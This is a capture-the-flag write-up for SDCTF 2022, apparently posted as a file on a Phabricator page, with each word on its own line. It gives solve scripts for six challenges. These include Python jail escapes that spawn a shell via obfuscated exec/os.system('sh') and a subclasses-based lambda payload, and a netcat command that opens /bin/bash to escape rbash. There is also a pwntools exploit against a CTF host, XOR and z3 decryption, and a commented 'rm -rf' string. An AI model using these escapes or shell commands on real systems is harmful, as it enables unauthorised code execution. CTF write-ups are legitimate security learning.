Page Menu
Home
desp's stash
Search
Configure Global Search
Log In
Files
F369125
sdctf22.md
No One
Temporary
Actions
Download File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Flag For Later
Size
7 KB
Subscribers
None
sdctf22.md
View Options
###
symcalcpy
only
calculator
symbols
aka
no
words
aside
from
first
word
that
the
calc
pushes
onto
the
interactive
console
-
which
must
be
alphabets
interactive
console
can
retrieve
values
using
`
_
`
-
sth
i
learnt
while
watching
jason
use
it
for
radare
and
binja
lol
coz
i
never
use
interactive
console
all
thats
left
is
to
find
a
way
to
unwrap
dicts
into
lists
which
the
*
list
unpacking
operator
works
excellently
```
py
globals
#
get
globals
as
_
_1
=
_
#
persist
_2
=
_1
()[[*
_1
()][
2
]]
#
builtins
_3
=
_2
[[*
_2
][
14
]]
#
chr
_4
=
_2
[[*
_2
][
20
]]
#
exec
_4
(
_3
(
105
)+
_3
(
109
)+
_3
(
112
)+
_3
(
111
)+
_3
(
114
)+
_3
(
116
)+
_3
(
32
)+
_3
(
111
)+
_3
(
115
)+
_3
(
59
)+
_3
(
32
)+
_3
(
111
)+
_3
(
115
)+
_3
(
46
)+
_3
(
115
)+
_3
(
121
)+
_3
(
115
)+
_3
(
116
)+
_3
(
101
)+
_3
(
109
)+
_3
(
40
)+
_3
(
39
)+
_3
(
115
)+
_3
(
104
)+
_3
(
39
)+
_3
(
41
))
#
exec
(
'
import
os
;
os
.
system
(\
'
sh
\
')'
)
```
although
turns
out
octal
escapes
in
python
is
also
numbers
`
\
011
`
for
example
which
i
couldve
used
instead
of
chr
and
also
`
breakpoint
()
`
exists
lmao
which
i
can
then
invoke
`
interact
`
and
get
a
unrestricted
shell
with
that
```
pycon
First
answer
a
question
:
What
is
your
favorite
word
?
breakpoint
<
built
-
in
function
breakpoint
>
Happy
calculating
!
And
don
'
t
even
try
to
hack
!
>
_
()
>
--
Return
--
>
>
<
console
>(
1
)<
module
>()->
None
>
(
Pdb
)
interact
>
*
interactive
*
>
>>>
import
os
;
os
.
system
(
'
ls
'
);
>
flag
.
txt
>
symcalc
.
py
>
0
>
>>>
```
###
bit
flipping
machine
input
must
be
upper
case
chars
,
no
length
limit
characters
are
processed
in
pairs
in
the
for
loop
,
independently
so
why
not
just
map
out
what
the
arithmetic
is
doing
in
the
loop
thats
the
only
part
that
matters
(
aka
not
c
++
string
manipulation
stuff
lol
)
after
translating
to
python
and
mapping
from
AA
-
ZZ
,
i
eventually
realized
its
selecting
an
index
and
selecting
a
bit
mask
to
xor
with
```
py
#
use
this
to
get
the
map
of
what
bit
each
pair
of
character
flips
for
v15
in
upper
:
for
v16
in
upper
:
index
=
(
v16
-
65
+
26
*
(
v15
-
65
))
// 8
sc
=
s
[:
index
]
+
chr
(
ord
(
s
[
index
])
^
(
128
>>
((
v16
-
65
+
26
*
(
v15
-
65
))
%
8
)))
+
s
[
index
+
1
:]
print
(
chr
(
v15
),
chr
(
v16
),
index
,
(
128
>>
((
v16
-
65
+
26
*
(
v15
-
65
))
%
8
)))
#
print
(
chr
(
v15
),
chr
(
v16
),
sc
)
```
which
performs
exactly
the
bit
flipping
said
in
the
chall
desc
lol
well
then
all
thats
left
is
to
map
which
bits
to
flip
and
thats
it
for
the
first
part
second
part
is
figuring
out
that
the
loop
reads
null
terminator
while
the
length
check
reads
c
++
string
length
integer
instead
so
theres
a
mismatch
if
we
send
them
null
bytes
before
hitting
a
line
feed
which
makes
the
second
part
solvable
(
below
is
for
second
part
but
first
part
can
be
mapped
in
the
same
way
)
```
py
#
get
a
comparison
for
checking
the
bits
to
flip
print
([
c
+
" "
+
bin
(
ord
(
c
))
for
c
in
'
1000
USD
'
])
print
([
c
+
" "
+
bin
(
ord
(
c
))
for
c
in
'
9999
BTC
'
])
#
s
=
'
rm
-
rf
/
trash
/
'
s
=
'
Send
Mallory
1000
USD
'
#
t
=
'
CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ
'
t
=
'
EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL
'
#
length
check
-
must
be
multiple
of
4
print
(
len
(
t
)
&
3
)
#
perform
flipping
after
manually
determining
which
bit
to
flip
on
which
char
using
the
map
for
i
in
range
(
0
,
len
(
t
),
2
):
v15
=
ord
(
t
[
i
])
v16
=
ord
(
t
[
i
+
1
])
index
=
(
v16
-
65
+
26
*
(
v15
-
65
))
// 8
s
=
s
[:
index
]
+
chr
(
ord
(
s
[
index
])
^
(
128
>>
((
v16
-
65
+
26
*
(
v15
-
65
))
%
8
)))
+
s
[
index
+
1
:]
#
print
(
bin
(
ord
(
s
[
13
])))
#
for
debugging
which
bit
we
flipped
wrong
print
(
s
)
#
check
final
result
```
then
just
send
the
string
obtained
lol
```
py
from
pwn
import
*
p
=
remote
(
'
flip
.
sdc
.
tf
'
,
'
1337
'
)
p
.
sendline
(
'
CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ
'
)
p
.
recvuntil
(
'
9999
BTC
'
)
p
.
sendline
(
'
EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL
\
0
\
0
'
)
#
for
loop
loops
until
null
terminator
,
but
c
++
length
checks
whole
string
until
\
n
which
finishes
getline
p
.
interactive
()
```
(
this
is
easily
doable
automatically
but
i
was
aiming
for
first
blood
so
i
manually
did
them
all
lol
)
###
flag
hoarder
open
core
,
see
program
argument
is
`
/
home
/
knox
/
Downloads
/
a
.
out
./
flag
.
txt
.
bz2
./
password
.
txt
`
extract
part
of
elf
using
`
info
proc
mapping
`
->
`
dump
memory
core
.
bin
,
0x555555554000
,
0x55555555FFF
`
(
0x555555556000
is
unreadable
)
decompile
whatevers
decompilable
,
realize
its
opening
files
in
argument
and
xoring
something
and
pretty
much
not
doing
anything
else
strings
core
file
for
`
password
`
,
see
the
very
secret
password
,
assume
its
the
password
we
need
and
xor
it
according
to
guessing
from
decompilation
get
bamboozled
by
the
line
feed
and
wonder
why
bz2
is
dying
until
i
opened
the
dump
in
hex
editor
and
saw
the
0
A
right
after
the
password
add
it
and
tada
solve
script
:
```
py
import
bz2
pw
=
b
'
this
is
my
very
secret
password
mwahahaha
\
n
'
with
open
(
'
enc
'
,
'
rb
'
)
as
enc
:
e
=
bytearray
(
enc
.
read
(-
1
))
for
i
in
range
(
len
(
e
)):
e
[
i
]
^=
pw
[
i
%
len
(
pw
)]
print
(
bz2
.
BZ2Decompressor
().
decompress
(
e
,
max_length
=
len
(
e
)-
10
))
```
###
turing
complete
safeeval
pwnlib
safeeval
checks
opcode
,
which
means
i
gotta
learn
pyc
bytecodes
was
testing
what
makefunction
and
loadfunction
does
,
since
thats
the
only
thing
they
added
for
this
chall
to
an
otherwise
proven
fortified
implementation
then
i
realized
lambda
can
smuggle
data
```
py
import
dis
c
=
compile
(
"lambda x: ().__classes__.__subclasses__()"
,
'
<
string
>
'
,
'
eval
'
)
#
thus
we
can
break
safeeval
jail
using
this
since
lambda
smuggles
code
#(
lambda
:
().
__class__
.
__base__
.
__subclasses__
()[
132
].
__init__
.
__globals__
[
"system"
](
"sh"
))()
print
(
dis
.
Bytecode
(
c
))
print
(
dis
.
dis
(
c
))
```
originally
assigned
lambda
then
called
it
,
but
that
triggers
`
LOAD_NAME
`
which
aint
allowed
but
we
can
call
it
directly
after
defining
whew
flag
###
rbash
warmup
since
rbash
only
restricts
command
use
,
doesnt
restrict
arguments
,
use
netcat
to
exec
bash
local
nc
needed
since
host
cannot
communicate
with
outside
services
at
all
so
make
2
ncs
and
background
both
then
foreground
the
listener
to
interact
with
bash
```
sh
nc
-
v
-
l
-
n
127.0
.
0.1
-
p
1337
&
nc
127.0
.
0.1
1337
-
c
/
bin
/
bash
&
fg
1
```
###
internprise
encryption
i
translated
it
to
z3
script
without
realizing
its
unicode
based
and
unicode
is
variable
length
lol
so
`
rb
`
wouldnt
work
once
[@
Arctic
](
https
:
//maplebacon.org/authors/rctcwyvrn/) pointed that out to [@kever](https://maplebacon.org/authors/vEvergarden/) i solved it with z3 after dealing with extra signed bits
hey
first
z3
solve
i
guess
```
py
from
z3
import
*
s
=
[]
sol
=
Solver
()
with
open
(
'
flag
.
txt
'
,
'r'
,
encoding
=
'
utf
-
8
'
)
as
enc
:
ef
=
enc
.
read
()
for
i
in
range
(
len
(
ef
)):
s
+=
[
BitVec
(
'c'
+
str
(
i
),
8
)]
x
=
SRem
((
s
[
i
]
+
i
*
0xf
),
0x80
)
#
print
(
simplify
(
x
))
x
+=
SRem
(
BitVecVal
(
ord
(
ef
[
i
-
0x1
]),
8
),
128
)
if
i
>
0x0
else
0xd
#
print
(
simplify
(
x
))
x
=
SignExt
(
4
,
x
)
^
0x555
#
print
(
simplify
(
x
))
x
=
((
x
^
~
0x0
))
&
0xff
#
print
(
simplify
(
x
))
x
=
~(
Extract
(
8
,
0
,
x
^
0x3
))
#
print
(
simplify
(
BV2Int
(
x
,
is_signed
=
True
)))
x
=
((
x
>>
0x1f
)
+
x
)
^
(
x
>>
0x1f
)
#
print
(
simplify
(
BV2Int
(
x
,
is_signed
=
True
)))
#
ef
+=
[
Extract
(
9
,
0
,
x
)]
sol
.
add
(
x
==
ord
(
ef
[
i
]))
print
(
sol
.
check
())
print
(
sol
.
unsat_core
())
model
=
sol
.
model
()
#
print
([
simplify
(
BV2Int
(
x
,
is_signed
=
True
))
for
x
in
ef
])
print
(
'
wtf
'
+
str
(
model
))
print
(
""
.
join
([
chr
(
model
[
var
].
as_long
()
&
0b01111111
)
for
var
in
s
]))
```
File Metadata
Details
Attached
Mime Type
text/x-python
Expires
Sun, Jul 6, 5:12 PM (1 d, 2 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
b9/3a/0e7b172dd5c5c9130cba8be795a1
Attached To
rCTFD CTF diary
Event Timeline
Log In to Comment